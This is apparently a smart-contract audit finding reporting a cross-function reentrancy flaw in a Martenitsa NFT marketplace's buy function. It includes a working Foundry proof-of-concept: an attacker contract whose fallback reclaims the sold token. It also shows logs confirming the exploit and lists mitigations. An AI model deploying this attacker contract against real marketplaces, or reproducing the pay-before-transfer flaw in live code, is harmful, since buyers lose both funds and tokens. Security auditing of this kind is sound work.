Description:
The MartenitsaMarketplace::buyMartenitsa function is vulnerable to a cross-function reentrancy attack. The function transfers the salesprice to the seller before transferring the token to the buyer. This allows a malicious seller to call the MartenitsaToken::makePersent function set in ther fallback function of the seller's contract, as the ownership of the token not yet transfered to the buyer, the seller can regaint the ownership of the token by transfering to his alternate EOA or smart contract.
function buyMartenitsa(uint256 tokenId) external payable {
.
.
.
.
@> (bool sent,) = seller.call{value: salePrice}("");
require(sent, "Failed to send Ether");
martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
}
Impact:
A malicious seller could exploit this vulnerability to regain ownership of the token after selling it as well as gaining the salesPrice amount, potentially leading to a loss of funds for the buyer.
Tools Used:
Manual Review
Proof of Concept:
A malicious seller creates a martenitsaToken and lists it for sale.
A buyer buys the martenitsaToken from the seller.
The MartenitsaMarketplace::buyMartenitsa function transfers the sales price to the seller before transferring the token to the buyer.
The malicious seller's contract calls the MartenitsaToken::makePersent function in the fallback function.
The malicious seller regains ownership of the token by transferring it to an alternate EOA or smart contract.
The buyer loses the token and the funds spent on the purchase.
Proof Of Code:
function test_CrossFunctionReentrancy() public {
Cross_reentrancy cross_reentrancy = new Cross_reentrancy(address(marketplace), address(martenitsaToken));
address[] memory producers = new address[](1);
producers[0] = address(cross_reentrancy);
martenitsaToken.setProducers(producers);
console.log("The attacker contract address: ", address(cross_reentrancy));
vm.startPrank(address(cross_reentrancy));
martenitsaToken.createMartenitsa("bracelet");
marketplace.listMartenitsaForSale(0, 1 wei);
vm.stopPrank();
vm.startPrank(address(cross_reentrancy));
martenitsaToken.approve(address(marketplace), 0);
console.log("The owner of the token before selling it: ", martenitsaToken.ownerOf(0));
console.log(
"The balance of the attacker contract before selling martenitsa: ", address(cross_reentrancy).balance
);
vm.stopPrank();
vm.expectRevert();
address user = makeAddr("user");
vm.deal(user, 1 wei);
vm.startPrank(user);
marketplace.buyMartenitsa{value: 1 wei}(0);
vm.stopPrank();
console.log("The address of the buyer: ", user);
}
function test_BuyerWithoutHooksReverts() public listMartenitsa {
vm.prank(chasy);
martenitsaToken.approve(address(marketplace), 0);
BuyerWithoutHooks buyerWithoutHooks = new BuyerWithoutHooks(address(marketplace));
vm.deal(address(buyerWithoutHooks), 1 wei);
console.log("The address of the buyer: ", address(buyerWithoutHooks));
console.log("The balance of the buyer: ", address(buyerWithoutHooks).balance);
vm.expectRevert();
vm.startPrank(address(buyerWithoutHooks));
buyerWithoutHooks.buyMartenitsa(0);
vm.stopPrank();
}
Here is the contract as well:
contract Cross_reentrancy is Test {
address sellersAltAccount = makeAddr("sellersAltAccount");
MartenitsaMarketplace public marketplace;
MartenitsaToken public martenitsaToken;
constructor(address _martenitsaMarketplace, address _martenitsaToken) {
marketplace = MartenitsaMarketplace(_martenitsaMarketplace);
martenitsaToken = MartenitsaToken(_martenitsaToken);
}
function onERC721Received(address, address, uint256, bytes memory) public virtual returns (bytes4) {
return this.onERC721Received.selector;
}
function getOwnershipBack(address user, uint256 tokenId) internal {
martenitsaToken.updateCountMartenitsaTokensOwner(address(this), "add");
marketplace.makePresent(user, tokenId);
console.log("The balance of attacker contract after selling martenitsa: ", address(this).balance);
console.log("The owner of the token after getting ownership back: ", martenitsaToken.ownerOf(tokenId));
console.log("The address of the seller's alt account: ", sellersAltAccount);
}
fallback() external payable {
getOwnershipBack(sellersAltAccount, 0);
}
receive() external payable {
getOwnershipBack(sellersAltAccount, 0);
}
}
Foundry Output
Logs:
The attacker contract address: 0xa0Cb889707d426A7A386870A03bc70d1b0697598
The owner of the token before selling it: 0xa0Cb889707d426A7A386870A03bc70d1b0697598
The balance of the attacker contract before selling martenitsa: 0
The balance of attacker contract after selling martenitsa: 1
The owner of the token after getting ownership back: 0x93C44B9A0b6E121dD8F680347Eb0266077BD0B96
The address of the seller's alt account: 0x93C44B9A0b6E121dD8F680347Eb0266077BD0B96
The address of the buyer: 0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D
Recommended Mitigation:
Implement a reentrancy guard in the all the external visibility functions in MartenitsaMarketplace function to prevent reentrancy attacks. This can be achieved by using the nonReentrant modifier from the OpenZeppelin ReentrancyGuard library or by implementing a custom reentrancy guard.
Use Checks-Effects-Interactions pattern to ensure that state changes are made before any external calls are made. This pattern helps prevent reentrancy attacks by ensuring that the contract's state is updated before interacting with external contracts.
Consider using the Withdrawal Pattern to separate the transfer of funds to seller from the transfer of ownership to the buyer. This pattern involves having a separate function for withdrawing funds that ensures the contract's state is updated before transferring funds to an external account.
